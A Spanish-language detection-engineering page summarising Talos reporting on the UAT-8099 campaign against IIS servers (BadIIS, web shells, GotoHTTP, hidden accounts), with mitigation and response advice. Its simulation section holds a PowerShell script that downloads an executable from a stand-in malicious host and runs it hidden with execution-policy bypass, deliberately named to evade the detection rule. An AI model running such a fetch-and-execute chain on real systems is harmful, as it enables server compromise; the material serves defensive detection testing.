Disecando UAT-8099: Nuevos mecanismos de persistencia y enfoque regional
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
Cisco Talos informa sobre una nueva campaña UAT-8099 que apunta a servidores web IIS vulnerables en Asia. El actor despliega variantes personalizadas de BadIIS que incluyen identificadores regionales y se basa en web shells, PowerShell, y la herramienta de control remoto GotoHTTP para el control posterior. La persistencia se ha ampliado para incluir la creación de cuentas locales ocultas y el uso de herramientas legítimas de equipos de red para integrarse en actividades administrativas. La táctica se superpone con la operación WEBJACK anterior y parece centrarse en el fraude SEO que afecta a sitios en Tailandia y Vietnam.
Investigación
Talos revisó la telemetría de DNS, hashes de archivos y scripts maliciosos para reconstruir la cadena de intrusión. Los analistas observaron web shells combinados con herramientas como SoftEther VPN y EasyTier, además de un conjunto de utilidades personalizadas que incluyen Sharp4RemoveLog, CnCrypt Protect, OpenArk64, y GotoHTTP. Dos cepas de BadIIS ajustadas por región —IISHijack y asdSearchEngine— fueron ingenieradas inversamente, exponiendo códigos de país codificados, filtrado selectivo de solicitudes y configuración C2 cifrada con XOR. También se identificó una compilación ELF de BadIIS con dominios C2 coincidentes en VirusTotal.
Mitigación
Parchear vulnerabilidades expuestas en IIS, fortalecer la aplicación del firewall de aplicaciones web y monitorear la creación de cuentas locales ocultas (por ejemplo, admin$, mysql$ y similares). Detectar actividad de PowerShell que descargue o lance GotoHTTP y bloquear la comunicación saliente a dominios C2 conocidos. Usar controles de endpoint para alertar sobre la ejecución de las utilidades personalizadas identificadas y sobre modificaciones inesperadas dentro de los directorios del servidor web.
Respuesta
Si se encuentran indicadores, aislar el servidor, eliminar web shells y borrar cuentas ocultas. Conservar los binarios de BadIIS y los scripts relacionados para análisis forense, y realizar una revisión completa del tráfico de red para identificar actividad C2. Restaurar desde un respaldo seguro conocido y reforzar la configuración de IIS para prevenir la reinfección.
Flujo de Ataque
Detecciones
Descarga o Carga vía Powershell (vía línea de comandos)
Ver
Archivos Sospechosos en el Perfil de Usuario Público (vía evento de archivo)
Ver
Posible Enumeración de Cuentas o Grupos (vía línea de comandos)
Ver
Detectar Ejecución de Comandos de PowerShell para el Despliegue de GotoHTTP [Windows Powershell]
Ver
Detección de Malware BadIIS Dirigido a Servidores IIS para Fraude SEO [Servidor Web]
Ver
Ejecución de Simulación
Prerrequisito: La Verificación Pre-vuelo de Telemetría & Línea Base debe haber pasado.
-
Narrativa del Ataque y Comandos:
Un atacante ha ganado acceso inicial en un servidor web comprometido. Crean un directorio oculto llamadobad_iisbajo la raíz web de IIS y dejan caer un binario de web shell con nombre personalizadoshell_xyz.exe(evitando la cadena literal “web shell”). Usando el shell, ejecutan lateralmente una carga de PowerShell que descarga el binario de GotoHTTP, lo renombran asvc_update.exe, y lo ejecutan. Debido a que los nombres de imagen están ofuscados, se pasan por alto los controles originales deImage|contains, mientras que la línea de comandos aún contiene “PowerShell”. -
Script de Prueba de Regresión: Este script reproduce los pasos descritos y genera telemetría similar al ataque BadIIS sin usar exactamente las cadenas que la regla monitoriza.
# BadIIS simulation – obfuscated version $webRoot = "C:inetpubwwwroot" $payloadDir = Join-Path $webRoot "bad_iis" New-Item -Path $payloadDir -ItemType Directory -Force | Out-Null # Deploy a renamed web‑shell (binary copy of a known benign exe) $shellSrc = "$env:SystemRootSystem32notepad.exe" $shellDst = Join-Path $payloadDir "shell_xyz.exe" Copy-Item -Path $shellSrc -Destination $shellDst -Force # Simulate the web‑shell invoking PowerShell to download GotoHTTP $gotoUrl = "http://malicious.example.com/GotoHTTP.exe" $gotoDst = "C:WindowsTempsvc_update.exe" $psCommand = @" Invoke-WebRequest -Uri '$gotoUrl' -OutFile '$gotoDst'; Start-Process -FilePath '$gotoDst' -WindowStyle Hidden; "@ # Execute the PowerShell payload via the renamed web‑shell (process creation) Start-Process -FilePath $shellDst -ArgumentList "/c powershell.exe -NoProfile -ExecutionPolicy Bypass -Command `$psCommand`" -WindowStyle Hidden Write-Output "BadIIS simulation executed." -
Comandos de Limpieza: Elimina los artefactos plantados y restaura el entorno.
# Cleanup BadIIS simulation artifacts $webRoot = "C:inetpubwwwroot" $payloadDir = Join-Path $webRoot "bad_iis" Remove-Item -Path $payloadDir -Recurse -Force -ErrorAction SilentlyContinue $gotoDst = "C:WindowsTempsvc_update.exe" Remove-Item -Path $gotoDst -Force -ErrorAction SilentlyContinue Write-Output "Cleanup completed."